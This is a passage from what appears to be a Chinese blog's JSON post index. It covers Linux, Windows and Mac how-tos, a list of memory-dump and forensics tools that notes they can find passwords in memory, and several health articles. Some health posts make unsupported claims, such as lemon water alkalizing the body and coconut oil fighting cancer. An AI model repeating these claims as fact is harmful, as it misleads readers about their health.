LD_PRELOAD=/usr/lib/i386-linux-gnu/mesa/libGL.so.1 exec skype-bin \u0026#34;$@\u0026#34; Step 3\n最後把自己建立的指令搞加上執行權限：\nsudo chmod 0755 /usr/bin/skype 這樣 Skype 就可以正常執行了！\n之後等到這個 bug 修正之後，就可以將自己的指令搞刪除，並把原本的 skype 指令復原回來：\nsudo rm /usr/bin/skype sudo mv /usr/bin/skype-bin /usr/bin/skype ","permalink":"https://blog.gtwang.org/linux/skype-ubuntu-linux-1304-ubuntu-nvidia/","summary":"\u003cp\u003e如果你有在 Ubuntu 中使用 Skype，並且有使用 Ubuntu 內建專屬的 Nvidia 或 AMD 驅動程式，則在升級最新版的 Ubuntu Linux 13.04 之後，應該會發現原本的 Skype 變得不能啟動了，其實這是新版 Ubuntu 13.04 的一個 bug，這裡介紹如何暫時解決這個問題。\u003c/p\u003e","title":"修正 Skype 在 Ubuntu Linux 13.04 無法啟動的問題（針對使用 Ubuntu 內建專屬的 Nvidia 或 AMD 驅動程式）"},{"content":"Gow（Gnu On Windows）是一個類似 Cygwin、但更輕巧的替代方案，如果你只是想在 Windows 中用一些簡單的 Unix 功能，就可以試試看這個小工具組。\n如果是常用 Windows 與 Linux 兩種作業系統的人，應該都會聽過 Cygwin 這個工具，它是一個可以讓你在 Windows 平台上使用 Linux 系統中的工具或程式，但是它事實上是一個 POSIX（Portable Operating System Interface），其中的 shell 並沒有與 Windows 的系統整合，所以在這種架構下的 Linux 程式與工具，都只能關在 Cygwin 的環境中執行而已，無法接觸到底層的系統。但是 Gow 就不同了，Gow 中的程式都是配合 Windows 環境重新編譯過的，因此在使用上可以與 Windows 系統很緊密的結合。\nGow 事實上是一個專門為 Windows 平台設計的 Unix/Linux 工具安裝程式，它可以幫你很方便的安裝大約 130 種常用的 Unix/Linux 工具，而這些工具都是已經被重新編譯成 Win32 原生的執行檔（native win32 binaries），而這些工具安裝之後，也會自動加入 Windows 的 PATH 之中，也就是說只要這些 Unix/Linux 的工具透過 Gow 安裝完成之後，就可以直接在 Windows 的命令列中使用，甚至也可以用在 Windows 的 batch 指令稿中。\nGow 在設計上就以輕巧為原則，他總共所佔的空間大約只有 18 MB，相較於 Cygwin 動輒使用 100 MB 以上的空間，已經算是很小的了。\n雖然這個工具組是編譯成 32 位元的執行檔，但是也可以直接在 64 位元的 Windows 中使用。\n以下是一些使用範例。\nExample 1 當下載檔案時，如果網路不穩，下載到一半斷線了，那可以使用 wget 來續傳：\nwget -c \u0026#34;http://url.to/file.exe\u0026#34; file.exe 其中 -c 參數是指定續傳檔案，如果不加上這個參數，就會覆寫原本的檔案。\nExample 2 Windows 系統中的檔案搜尋功能真的很慢，即使做過索引之後，也是要等很久，現在你可以使用 dir 與 grep 指令來尋找你要的檔案，這個指令也可以遞迴搜尋所有的子目錄：\ndir /a-d /b /s | grep \u0026#34;part of the name of the file\u0026#34; 使用這樣的方式搜尋檔案會有效率的多。\nExample 3 Gow 中也有提供 Vim，如果你是習慣使用 Vim 的人，就可以直接在 Gow 中使用它。\nVim 是一個很強大的文字編輯器，它也是標準的 Linux 編輯器之一，幾乎所有的 Linux 發行版中都會有它的存在。\n參考資料 Dragon Blogger ","permalink":"https://blog.gtwang.org/windows/gow-an-awesome-alternative-to-cygwin/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/bmatzelle/gow\"\u003eGow（Gnu On Windows）\u003c/a\u003e是一個類似 Cygwin、但更輕巧的替代方案，如果你只是想在 Windows 中用一些簡單的 Unix 功能，就可以試試看這個小工具組。\u003c/p\u003e\n\u003cp\u003e如果是常用 Windows 與 Linux 兩種作業系統的人，應該都會聽過 Cygwin 這個工具，它是一個可以讓你在 Windows 平台上使用 Linux 系統中的工具或程式，但是它事實上是一個 POSIX（Portable Operating System Interface），其中的 shell 並沒有與 Windows 的系統整合，所以在這種架構下的 Linux 程式與工具，都只能關在 Cygwin 的環境中執行而已，無法接觸到底層的系統。但是 Gow 就不同了，Gow 中的程式都是配合 Windows 環境重新編譯過的，因此在使用上可以與 Windows 系統很緊密的結合。\u003c/p\u003e","title":"Gow（Gnu On Windows）：類似 Cygwin、但更輕巧的替代方案"},{"content":"微軟 Office for Mac 2011 在安裝之後，並沒有提供移除的功能，如果想移除它必須手動自己把所有的檔案刪除。\n因為 Office 在安裝時，其檔案散佈在系統中的好幾個地方，所以其移除軟體的方式不是像一般軟體一樣將「應用程式」中的圖示拖進垃圾桶就完成了，還有很多檔案需要自己移除，以下是詳細的步驟教學。\nStep 1\n關閉所有 Office for Mac 應用程式，例如 Word 等。\nStep 2\n移除「應用程式」中的「Microsoft Office 2011」資料夾，也就是把這個資料夾直接用滑鼠拖進垃圾桶。\nStep 3\n開啟「程式庫」，移除 Office 偏好設定。\n請注意：移除偏好設定會刪除所有已建立的自訂項目，這些自訂項目包含您在工具列、自訂字典和鍵盤快速鍵中建立的變更。\n因為「程式庫」在 Mac OS X Lion 是隱藏資料夾，所以在一般的情況是看不見的，如果要起「程式庫」資料夾，要在「Finder」中按下 Option 鍵點選「前往」選單，這樣「程式庫」資料夾才會出現，接著就點選它。\nStep 4\n在「資源庫」中開啓「Preferences」資料夾，以字母順序排列檔案及資料夾，將所有名稱以 com.microsoft 開頭的檔案拖進「垃圾桶」。\nStep 5\n在「資源庫」\u0026gt;「Preferences」資料夾中，尋找「Microsoft」資料夾，在「Microsoft」資料夾中有一個「Office 2011」資料夾，將「Office 2011」資料夾整個拖進垃圾桶。\nStep 6\n在「資源庫」\u0026gt;「Application Support」\u0026gt;「Microsoft」資料夾中，有一個「Office」資料夾，將它整個拖進垃圾桶。（這個動作會刪除所有你已建立的任何自訂範本檔案。）\nStep 7\n在「前往」選單中，選擇「電腦」。\nStep 8\n選擇自己的硬碟，在預設的情況下是「Macintoch HD」。\nStep 9\n選擇「資源庫」（Library）\u0026gt;「LaunchDaemons」資料夾，將 com.microsoft.office.licensing.helper.plist 拖進垃圾桶。\nStep 10\n開啟「Macintoch HD」\u0026gt;「資源庫」（Library）\u0026gt;「PrivilegedHelperTools」資料夾，將 com.microsoft.office.licensing.helper 拖進垃圾桶。\nStep 11\n移除授權檔案，開啟「Macintoch HD」\u0026gt;「資源庫」（Library）\u0026gt;「Preferences」資料夾，將 com.microsoft.office.licensing.plist 拖進垃圾桶。\nStep 12\n開啟「Macintoch HD」\u0026gt;「資源庫」（Library）\u0026gt;「Application Support」資料夾，將「Microsoft」資料夾整個拖進垃圾桶。\n注意：如果你有安裝 Microsoft Silverlight plug-in，則在移除這個資料夾之後，你必須重新安裝 Microsoft Silverlight。\nStep 13\n移除回條，開啟「Macintoch HD」\u0026gt;「資源庫」（Library）\u0026gt;「Receipts」資料夾，將所有以 Office2011_ 開頭的檔案都拖進垃圾桶。（這些檔案有可能不存在，如果不存在就跳過這一步）\nStep 14\n移除字型檔，開啟「Macintoch HD」\u0026gt;「資源庫」（Library）\u0026gt;「Fonts」資料夾，將「Microsoft」資料夾整個拖進垃圾桶。\nStep 15\n選擇「前往」選單的「前往資料夾」。\nStep 16\n在「前往資料夾」中輸入 /private/var/db/receipts，並按下「前往」。\nStep 17\n將所有名稱以 com.microsoft.office 為開頭的檔案拖曳到垃圾桶。\nStep 18\n清空「垃圾桶」，並將 Dock 中的 Office 啓動圖示移除，這樣就完成了。\n參考資料 Microsoft ","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-lion-microsoft-office-for-mac/","summary":"\u003cp\u003e微軟 Office for Mac 2011 在安裝之後，並沒有提供移除的功能，如果想移除它必須手動自己把所有的檔案刪除。\u003c/p\u003e\n\u003cp\u003e因為 Office 在安裝時，其檔案散佈在系統中的好幾個地方，所以其移除軟體的方式不是像一般軟體一樣將「應用程式」中的圖示拖進垃圾桶就完成了，還有很多檔案需要自己移除，以下是詳細的步驟教學。\u003c/p\u003e","title":"在 Mac OS X Lion 中完全移除 Microsoft Office for Mac 2011"},{"content":"在 Linux 中我們可以透過一些工具將記憶體中的資料傾倒（dump）出來，這對於取證分析（forensics analysis）或是分析自己的系統是很有用的。\n通常在以下幾種狀況會用到這種記憶體分析的工具：\n想知道在記憶體中到底儲存了哪些程式與資料。 搜尋屬於某個行程 ID（pid）的記憶體空間。 在記憶體中搜尋一些機密性資料，如帳號與密碼。 作為一些工具的附加功能，例如 gdb 除錯程式等。 搜尋、取代或轉存執行中程式的記憶體資料與核心檔案（core files）。 使用各種駭客級的動作，以最短的時間解決問題。 以下是各種用於分析記憶體資料的工具。\nLiME（Linux Memory Extractor） LiME（前身是 DMD）是一個可被 Linux 載入的核心模組（Loadable Kernel Module，簡稱 LKM），它可以用來取得 Linux（或以 Linux 為基礎的系統，如 Android）記憶體中的資料，從記憶體取得的資料除了儲存在硬碟之外，也可以透過網路直接傳輸。\nLiME 的最大特色就是他是第一個可以取得 Android 系統上所有記憶體資料的工具，並且它也簡化了抓取資料時在 user 與 kernel space 的程序，這樣的話，以 LiME 所取得的記憶體資料會比其他工具所取得的資料更可靠。\nDraugr Draugr 是一個可以讓你使用 Python 靠著 /dev/(k)mem 或記憶體傾印（memory dump）來分析記憶體的工具，其提供許多方式可以讓你取得各種系統的資訊，例如 processes（包含過種資訊與 sections）、kernel symbols 與反組譯（Disassembly）或傾印記憶體等等。\nVolatilitux Volatilitux 是專門用於 Linux 記憶體取證分析的工具組，以下是其支援的 CPU 硬體架構：\nARM x86 x86 with PAE enabled 這個工具組提供以下這些指令：\npslist：輸出所有 processes 的列表。 memmap：輸出一個 process 的記憶體配置圖（memory map）。 memdmp：傾印一個 process 的記憶體資料。 filelist：輸出一個 process 所有開啓的檔案列表。 filedmp：傾印一個開啓的檔案內容。 Memfetch Memfetch 是一個用於傾印執行中 process 記憶體資料的小工具，除了立即傾印記憶體資料之外，也可以設定在程式出問題時才傾印資料。這個工具對於一些沒有什麼搜尋功能的除錯程式（debuggers）與追蹤程式（ tracers）而言，是一個不錯的替代方案，而且它也提供許多指令可以很方便的取得記憶體的快照（screenshots）。\n以下是安裝 Memfetch 的方式，FreeBSD 可使用 pkg_add：\npkg_add -r -v memdupm 其他的 UNIX 或 Linux 則要從原始碼編譯安裝：\nwget http://lcamtuf.coredump.cx/soft/memfetch.tgz tar xvf memfetch.tgz cd memfetch \u0026amp;\u0026amp; make Red Hat 的 Crash 工具組 Red Hat 的 Crash 工具組是以 SVR4 UNIX 的 crash 指令為基礎，經過大幅度的改版，再加入 gdb 除錯器的整合功能後的一個分析工具，其結合了傳統上 crash 的 kernel 相關功能與 gdb 的程式碼除錯功能，可用於分析以下的情況：\n運行中的 Linux 系統。 由 Kdump、makedumpfile、Netdump、Diskdump、Red Hat Diskdump、LKCD（Linux Kernel Crash Dumps）或 Mcore patch（Mission Critical Linux）所產生壓縮或未壓縮的 Linux kernel core dumps。 由 Kdump 所產生的 Xen host Linux kernel core dumps 或 Xen hypervisor core dumps。 由原始 xendump 或 ELF-format xendump 所產生的 Xen guest Linux kernel core dumps。 由 virsh dump 所產生的 KVM guest Linux kernel core dumps。 由 IBM standalone core dump 所產生的 s390 或 s390x Linux kernel core dumps。 Sourceforge 的專案。 若在 Red Hat 或 CentOS 要安裝 Red Hat Crash，可使用 yum 指令：\nyum install crash 若在 Novell、SUSE 或 OpenSUSE 中，則可使用 zypper 指令：\nzypper install yast2-kdump Memgrep Memgrep 是一個很簡單的小工具，可以對執行中的行程或是 core 檔案進行搜尋、取代或傾印的動作。\n在 FreeBSD 中可以用 pkg_add 指令安裝：\npkg_add -r -v memgrep Memdump Memdump 這個工具可以將系統的記憶體中的資料跳過空白的部分，傾印至標準輸出（standard output），在預設的情況下，它會傾印實體記憶體中的資料（/dev/mem）。\n在 Debian 或 Ubuntu Linux 中可以使用 apt-get 來安裝：\nsudo apt-get install memdump FreeBSD 則使用 pkg_add 指令安裝：\npkg_add -r -v memdupm 其詳細的使用說明可以參考線上手冊：\nman memdupm 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/search-memory-under-linux-unix-forensics-analysis/","summary":"\u003cp\u003e在 Linux 中我們可以透過一些工具將記憶體中的資料傾倒（dump）出來，這對於取證分析（forensics analysis）或是分析自己的系統是很有用的。\u003c/p\u003e","title":"Unix/Linux 中分析記憶體資料的駭客級工具（取證分析）"},{"content":"由於茶對於身體健康有許多項益處，且低（不含）咖啡因（caffeine），因此相較於其他大家常喝的飲料（如咖啡），喝茶會健康的多。\n某些茶被認為有解毒功能，而還有一些則具有抗氧化或抗發炎的特性，你可以依據個人口味或是健康因素來選擇要喝哪一種茶。\n以下五種茶你可能不熟悉，但是他們都有許多好處，並且也有提神醒腦的功用，最重要的是，喝茶不會像喝咖啡一樣，有咖啡因的問題。\n蕁麻茶（Nettle Tea） 蕁麻茶含有豐富的鈣、維生素 B 群與鐵，這些營養素可以促進骨骼的健康、幫助細胞產生能量以及協助血液攜帶氧氣。\n另外，蕁麻亦具有消炎的特性，這對於關節炎、心臟疾病或糖尿病都有好處，而對於剛生產完而母乳不足的媽媽，蕁麻茶可以幫助刺激母乳的分泌。\n這種茶本身就有一種溫和的味道，有些人也會將它與綠茶以及薄荷混合。\n洛神花茶（芙蓉花茶，Hibiscus Tea） 洛神花（芙蓉花）茶還有很多可以抗氧化的維生素 C，抗氧化功能可以中和體內有害的自由基（free radicals），令外維生素 C 對於維持免疫系統與膠原蛋白的形成也很重要。\n根據過去一些研究報告，飲用洛神花茶有助於降低血壓。\n茴香茶（Fennel Tea） 茴香可以幫助消化、預防脹氣，事實上喝茴香茶（或吃茴香種子）是傳統上治療消化不良的方式，由於其可以讓食物加速通過腸胃道，因此可改善便秘。\n蒲公英根茶（Dandelion root tea） 蒲公英是很常見的植物，但你可能不知道蒲公英的根拿來泡茶有利尿與幫助肝臟解毒的功用。根據研究，蒲公英的根有消炎的功效，並且含有豐富的抗氧化成分。\n蒲公英的根拿來泡茶喝的時候，可以加入一些蜂蜜與檸檬。\n普洱茶（Pu-erh Tea） 普洱茶是一種發酵過的茶，因為經過發酵，所以它的味道比較獨特。\n普洱茶含有一些咖啡因，但跟其他茶類比起來，它的含量算是比較少的。\n根據初步的研究，喝普洱茶可以降低 LDL 膽固醇（一種不好的膽固醇）與三酸甘油脂（triglycerides），而且可以增加高密度脂蛋白（HDL，一種好的膽固醇）。\n普洱茶在沖泡時，若加入生薑與一點點檸檬，會更好喝。（當然這只是建議，好不好喝有時候要看個人口味）\n參考資料 小山豬和山豬媽媽的生活點滴 ","permalink":"https://blog.gtwang.org/life/5-unique-teas-with-amazing-health-benefits/","summary":"\u003cp\u003e由於茶對於身體健康有許多項益處，且低（不含）咖啡因（caffeine），因此相較於其他大家常喝的飲料（如咖啡），喝茶會健康的多。\u003c/p\u003e\n\u003cp\u003e某些茶被認為有解毒功能，而還有一些則具有抗氧化或抗發炎的特性，你可以依據個人口味或是健康因素來選擇要喝哪一種茶。\u003c/p\u003e","title":"五種有益健康的茶：蕁麻、洛神花、茴香、蒲公英根與普洱茶"},{"content":"FBMessenger 是一個適用於 Linux 平台的 Facebook Messenger 聊天軟體，與官方的 Facebook 視窗版即時通很像。\n雖然這不是 Facebook 官方的軟體，但是他的由一位 Facebook 的開發者所撰寫的，所以基本上算是一個準官方的軟體。以下是這個 Facebook 聊天軟體所提供的功能與特色：\n可以與 Facebook 上的朋友聊天。（這個不用說也知道） 有獨立的聊天視窗，不同人的對話可以開出不同的分頁（tabs）。 可顯示 Facebook 訊息與朋友邀請。 朋友的狀態更新。 在 Linux 桌面上跳出示的訊息提示（只有在聊天功能開啟時才有）。 如果你沒有啟動聊天功能，則在使用 FBMessenger 登入之後，你的聊天狀態就還是會顯示為離線，就像使用 Pidgin 或 Empathy 一樣。\nFBMessenger 是一個新開發的軟體，所以功能還很陽春，例如有新的聊天訊息時，如果你有開啟聊天功能，就會像 Facebook 網頁一樣有提示聲音，但是如果關閉聊天功能，就什麼也不會出現。目前閃爍的的功能已經被列為待開發項目，期望這個軟體未來可以加入更多功能。\n如果要在 Ubuntu Linux 中安裝 FBMessenger，可以使用 PPA 安裝：\nsudo add-apt-repository ppa:nilarimogard/webupd8 sudo apt-get update sudo apt-get install fbmessenger 至於其他的 Linux 使用者，則可以從 GitHub 下載 FBMessenger 的原始碼，自行編譯與安裝，其原始碼之中也包含了建立 rpm 與 debian packages 所需的指令稿（script）。\n","permalink":"https://blog.gtwang.org/linux/linux-facebook-fbmessenger/","summary":"\u003cp\u003eFBMessenger 是一個適用於 Linux 平台的 Facebook Messenger 聊天軟體，與官方的 \u003ca href=\"https://www.messenger.com/\"\u003eFacebook 視窗版即時通\u003c/a\u003e很像。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"fbmessenger\" loading=\"lazy\" src=\"/linux/linux-facebook-fbmessenger/fbmessenger.png\"\u003e\u003c/p\u003e\n\u003cp\u003e雖然這不是 Facebook 官方的軟體，但是他的由一位 Facebook 的開發者所撰寫的，所以基本上算是一個準官方的軟體。以下是這個 Facebook 聊天軟體所提供的功能與特色：\u003c/p\u003e","title":"FBMessenger：Linux 平台上的 Facebook 準官方聊天軟體"},{"content":"一日之計在於晨，無論你是家庭主婦、上班族、大老闆或是學生，在早上的起床後的第一件事，都是一樣重要的。\n在一天的開始，喝一杯溫開水加入半顆檸檬的檸檬汁，這麼簡單的動作，卻可以帶來很多的好處，也因為如此簡單，所以常常被大家忽略。\n溫熱的檸檬汁有以下的好處：\n增強你的免疫系統（boosts your immune system） 檸檬中含有大量的維生素 C（Vitamin C）與鉀（potassium），維生素 C 對於感冒很有幫助，而鉀則是可以促進大腦與神經功能，以及幫助血壓的控制。\n平衡體內酸鹼值（balances pH） 不管你相不相信，檸檬是一種很棒的鹼性食物，縱使檸檬本身是酸性的，但是其檸檬酸在人體內代謝之後，反而會呈現鹼性，相信大家都知道，酸性體質比較容易生病，而鹼性的體質是比較健康的。\n幫助減肥（helps with weight loss） 檸檬含有大量的果膠纖維質（pectin fiber），會讓人有飽足感。另外，研究上也証實鹼性的飲食對於減肥是有幫助的。\n幫助消化（aids digestion） 溫開水可以促進腸胃道的收縮與蠕動，而檸檬含有許多礦物質與維生素，亦可幫助消化。\n天然且溫和的利尿劑（a gentle, natural diuretic） 由於檸檬汁會增加人體排尿的速度，因此可以幫助排出體內的毒素，讓尿道保持健康。\n護膚（clears skin） 維生素 C 有助於減少皮膚的皺紋和瑕疵，而檸檬水有清除血液中毒素的功能，所以喝檸檬水亦可以達到護膚的效果。\n以上是一些喝溫開水加檸檬的好處，如果你願意的話，在早晨喝上一杯溫檸檬水，持續一個月之後，會讓你的身體更健康、更有精神。\n就像上面所說的，做法很簡單，只是一杯溫開水加上半顆檸檬，就只有這樣而已。\n參考資料 MindBodyGreen ","permalink":"https://blog.gtwang.org/life/why-you-should-drink-warm-water-lemon/","summary":"\u003cp\u003e一日之計在於晨，無論你是家庭主婦、上班族、大老闆或是學生，在早上的起床後的第一件事，都是一樣重要的。\u003c/p\u003e\n\u003cp\u003e在一天的開始，喝一杯溫開水加入半顆檸檬的檸檬汁，這麼簡單的動作，卻可以帶來很多的好處，也因為如此簡單，所以常常被大家忽略。\u003c/p\u003e","title":"喝溫開水加檸檬的好處，讓你的身體更健康"},{"content":"Unity Tweak Tool 是一個新的 Ubuntu Unity 桌面校調工具，可以讓使用者設定一些被埋在 Dconf-Tools 或 CCSM 中的隱藏設定。\n這個工具是由 freyja-dev 團隊所發展的，目前已經被納入最新版的 Ubuntu 13.04 之中，而這個工具最特別的地方在於他有非常多的選項可以調整（雖然 Unsettings 的功能已經快要開發完成，但是目前還不能使用），以及它自己設計的漂亮圖示（這個對於 Ubuntu 新手而言應該很重要）。\n安裝 Unity Tweak Tool 的步驟很簡單，由於從 Ubuntu 13.04 開始，Unity Tweak Tool 已經被納入官方的套件庫中（repositories），所以開啟終端機，執行下面的指令執行下面的指令即可：\nsudo apt-get install unity-tweak-tool 若是 Ubuntu 12.10 則可自己加入 PPA 來安裝：\nsudo add-apt-repository ppa:freyja-dev/unity-tweak-tool-daily sudo apt-get update sudo apt-get install unity-tweak-tool 以下是一些 Unity Tweak Tool 的使用畫面：\n參考資料 Noobs LAB ","permalink":"https://blog.gtwang.org/linux/ubuntu-unity-tweak-tool/","summary":"\u003cp\u003e\u003ca href=\"https://launchpad.net/unity-tweak-tool\"\u003eUnity Tweak Tool\u003c/a\u003e 是一個新的 Ubuntu Unity 桌面校調工具，可以讓使用者設定一些被埋在 Dconf-Tools 或 CCSM 中的隱藏設定。\u003c/p\u003e\n\u003cp\u003e這個工具是由 freyja-dev 團隊所發展的，目前已經被納入最新版的 Ubuntu 13.04 之中，而這個工具最特別的地方在於他有非常多的選項可以調整（雖然 Unsettings 的功能已經快要開發完成，但是目前還不能使用），以及它自己設計的漂亮圖示（這個對於 Ubuntu 新手而言應該很重要）。\u003c/p\u003e","title":"Unity Tweak Tool：Ubuntu 桌面校調工具"},{"content":"攝影師 Jeff Salvage 與他的妻子 Jennifer 於 2008 年在復活節島（Easter Island）上的一個火山口附近結婚，當時 Salvage 在不同的時間與地點為他穿著婚紗的妻子拍了三張照片，這些照片引發了他們環遊世界的想法。\n自從 2008 年以來，Salvage 帶著他的妻子環遊世界，走過 135,000 英里的路程，在世界各地幫妻子拍攝婚紗照。\nJennifer 說她是基於簡單與耐用性來選擇這套禮服的，畢竟他們必須飛越 7,000 英里到達復活節島，開車穿越這座島，最後用手拿著禮服走到火山口，在這樣險峻的風景之下，即使是以這套簡單的禮服拍攝上百張照片，也是可以被接受的。\n這對夫妻先後走訪了許多國家，如中國、法國、紐西蘭以及梵蒂岡城。場景更是五花八門，例如在滑翔傘上、坐在懸崖上、騎狗拉雪橇、甚至到 NBA 的籃球場上拍攝。\n目前這一系列的婚紗照還在持續拍攝，若想看其他的照片，可以瀏覽作者的網站：One Dress, One Woman, One World。\n參考資料 PetaPixel ","permalink":"https://blog.gtwang.org/funny/couple-travels-135000-miles-over-5-years-for-wedding-dress-portraits/","summary":"\u003cp\u003e攝影師 Jeff Salvage 與他的妻子 Jennifer 於 2008 年在復活節島（Easter Island）上的一個火山口附近結婚，當時 Salvage 在不同的時間與地點為他穿著婚紗的妻子拍了三張照片，這些照片引發了他們環遊世界的想法。\u003c/p\u003e","title":"環遊世界跋山涉水超過 135,000 英里，拍了五年的婚紗照"},{"content":"肥胖對於現代人的健康是一大隱憂，大部分肥胖的人都會害怕吃高熱量、高脂肪的食物，但並不是每一種脂肪都會讓妳發胖，以下列出一些不會令你發胖的脂肪食物。\n堅果（Nuts） 堅果是一種非常受歡迎的食物，擁有豐富的營養價值，包含健康的脂肪和蛋白質。\n堅果是 α-次亞麻油酸（一種有益心臟健康的 ω-3，發音為 omega-3）的最佳來源，ω-3 的脂肪酸對於降低膽固醇與預防疾病有很大的幫助，它所含有的左旋精氨酸（L-arginine，一種氨基酸）已經被研究證實可提高人體免疫功能，促進傷口癒合，改善血管功能，幫助控制心血管疾病。\n此外，堅果中含有的可溶性纖維與維生素 E，纖維質有助於降低膽固醇與血糖，而維生素 E 則有抗氧化（防衰老）功能，並且有助於維持正常的免疫系統、皮膚健康與 DNA 的修復。\n酪梨（Avocados） 酪梨是一種很棒的水果，含有非常豐富的營養價值，他是榖胱甘肽（glutathione）的一個最佳來源。榖胱甘肽是一種很強的抗氧化物質，有助於身體淨化、解毒、去除重金屬、對抗自由基、維持身體免疫系統正常、減緩老化的過程等。\n酪梨也富含葉酸（folate，已經被研究證實可減少心臟疾病和中風的發病率）、維生素 E（可防止許多疾病與維持身體健康）。\n除了含有豐富營養之外，研究更證實某些營養成份如果藉由食用酪梨來攝取，其吸收效果會比其他食物更好。\n椰子油（Coconut Oil） 椰子所製成的產品提供許多的健康益處，而椰子油就是一種可用於烹飪的好油，或是用於添加到 smoothies（類似冰沙的飲料，但與冰沙不同）、燕麥粥或是其他菜餚之中。\n椰子油有抗菌與抗癌的特性，可以改善消化、營養吸收與腸道健康，對於心血管也有益處，有助於控制第二型糖尿病（Type 2 Diabetes）。另外，亦可促進腎臟和肝臟的健康、維持免疫系統正常，促進新陳代謝，對於體力與體重的管理也有幫助。\n椰子油在過去的一段時間因為飽和脂肪的因素，不太受歡迎，然而椰子油的飽和脂肪與動物性的飽和脂肪是不同的，在椰子油中的脂肪酸是中鏈甘油三酯（medium-chain triglycerides），其很容易被人體轉換為能量與代謝，研究更指出，這些脂肪酸可以提高你的新陳代謝、保持苗條身材、增加高密度脂蛋白（HDL，一種對身體有益處的膽固醇）。\n橄欖油（Olive Oil） 橄欖油是一種健康的油，適用於炒菜、烘烤或是製做沙拉醬，其含有豐富的單元不飽和脂肪（monounsaturated fat）與一些抗氧化物質（例如葉綠素、胡蘿蔔素與維生素 E）。\n橄欖油對於降低血壓、預防癌症、控制糖尿病、減輕哮喘（氣喘）與改善關節炎都有幫助，甚至在飲食中加入一些橄欖油，可以讓身體保持在一個健康的體重之下，不會過於肥胖。\n種子（Seeds） 種子就像堅果一樣，含有很多對於心臟健康有幫助的物質，它提供了有益的纖維質、ω-3 脂肪酸與蛋白質，除此之外，種子也具有許多健康的礦物質，如鎂，硒，鋅。\n有一些好的種子像是亞麻仁子（flax seed）、奇亞籽（chia seed），南瓜子（pumpkin seed），向日葵種子（sunflower seed）等，都可以被加入日常生活的飲食之中。其中，奇亞籽因為有非常高的營養價值，被視是一種超級食品，其含有非常豐富的 ω-3 脂肪酸，甚至超過亞麻仁子，除此之外，他還擁有大量的抗氧化物質、纖維質、鎂、磷、錳、銅、鐵與鋅，平常可以拿來泡蜜漬檸檬茶，很不錯。\n種子的實用方式有許多種，像是製作成 smoothies、加入麵包或餅乾中、拌成沙拉醬或是直接當零食來吃等。\n","permalink":"https://blog.gtwang.org/life/5-fats-that-dont-make-you-fat/","summary":"\u003cp\u003e肥胖對於現代人的健康是一大隱憂，大部分肥胖的人都會害怕吃高熱量、高脂肪的食物，但並不是每一種脂肪都會讓妳發胖，以下列出一些不會令你發胖的脂肪食物。\u003c/p\u003e","title":"五種吃了不會發胖的脂肪食物：堅果、酪梨、椰子油、橄欖油與種子"},{"content":"幾乎大多數人都有睡不好的時候，像是工作熬夜、生病、或是心情等因素都會影響睡眠，一個人如果睡不好，連同生活也會受影響。\n如果長期睡眠品質過差，也可能會影響整個身體的健康，下面這張圖整理了睡眠對於身體健康的影響，看完之後你可能會感覺今天應該要早點睡。\n以下是一些重點整理，沒有正常的睡眠，會產生下面這些影響：\n焦慮（anxiety）：睡眠不足會放大大腦的預期反應（anticipatory reaction），提高焦慮的程度。 心情低落（depression）：睡眠不足會影響調節情緒的神經傳導物質（neurotransmitter）。 認知功能受損（impaired cognition）：過度嗜睡會損害大腦記憶力與思考能力。 高血壓（hypertension）：如果一天只睡五到六小時，會增加罹患高血壓的風險。 心臟病（heart disease）：在睡覺時人體的血壓會降低，如果不睡覺則會增加罹患心臟病的風險。 糖尿病（diabetes）：睡眠不足會影響，會影響內分必、增加罹患糖尿病的風險。 中風（stroke）：不足的睡眠會影響心血管的健康，增加中風的風險。 乳癌（breast cancer）：深夜暴露在光線之下會減少褪黑激素的生成，而褪黑激素則是一種可抑制雌激素的物質。過多的雌激素產生則會促進乳癌的增長。 食慾：不正常的睡眠會讓內分泌失調，進而導致食慾的不正常。 ","permalink":"https://blog.gtwang.org/life/the-dangers-of-sleep-deprivation/","summary":"\u003cp\u003e幾乎大多數人都有睡不好的時候，像是工作熬夜、生病、或是心情等因素都會影響睡眠，一個人如果睡不好，連同生活也會受影響。\u003c/p\u003e\n\u003cp\u003e如果長期睡眠品質過差，也可能會影響整個身體的健康，下面這張圖整理了睡眠對於身體健康的影響，看完之後你可能會感覺今天應該要早點睡。\u003c/p\u003e","title":"睡眠不正常對身體健康的影響"},{"content":"Great Little Radio Player 是一個專門設計給 Ubuntu 與 Fedora Linux 的網路收音機（音樂播放軟體），藉由這個軟體可以連線到網路電台直接線上收聽廣播。\nGreat Little Radio Player 中內建有 300 個遍佈全球的免費網路電台清單，所以只要安裝好之後，馬上就可以直接收聽了。\n以下是使用 Great Little Radio Player 要注意的一些地方：\n雖然這個網路收音機軟體內建了許多電台清單，但這些電台清單對於像這樣的軟體而言，不是最重要的東西，通常你只需要用到其中幾個電台，就可以收聽到你想要聽的音樂或節目。 有時候在收聽某些電台時，會因為網路的關係影響收聽的品質，這時候就要有耐心一點了，或是等一會兒再試。 當你選擇了一個要收聽的電台之後，在播放之前會花一點時間進行連線，有時候一個電台有多個伺服器可供選擇。 有些電台會將其所提供的音樂做分類，而 Great Little Radio Player 也會採用這個分類，但是這個只能作為參考，因為有時候這個分類並不是很精準。 Great Little Radio Player 的安裝很簡單，其官方網站上有提供適用於各種 Linux 的套件檔，以下是安裝步驟教學：\nStep 1\n到 Great Little Radio Player 的網頁下載安裝檔，如果是 Debian 系列的 Linux（如 Ubuntu、Mint 等）就下載 deb 套件檔，如果是 Red Hat 系列的 Linux（如 Fedora、Mandriva、OpenSUSE）則下載 rpm 套件檔。\n而安裝套件還有分為 32 位元與 64 位元的版本，請依照自己的系統來選擇。\nStep 2\n如果你之前有安裝舊版的 Great Little Radio Player，那麼在安裝之前請先把舊版的先移除，才能安裝新版的 Great Little Radio Player。\n如果是 Ubuntu 的話，可以使用 Ubuntu 軟體中心（Software Center）來移除來移除。\n移除舊版的軟體之後，還要再把舊版的個人設定檔也移除：\nrm .config/glrp -r 如果沒有移除舊版的個人設定檔，則新版的 Great Little Radio Player 安裝之後，就會沿用舊的電台列表，沒辦法新增新的電台。\nStep 3\n開啟剛剛下載的套件檔（deb 或 rpm），進行安裝。如果是 Ubuntu 就會使用 Ubuntu 軟體中心來安裝。\n若要用指令安裝也可以，如果是 deb 檔就用 dpkg 指令來安裝：\nsudo dpkg -i greatlittleradioplayer_1.3.0-0extras12.10.1_amd64.deb 如果是 rpm 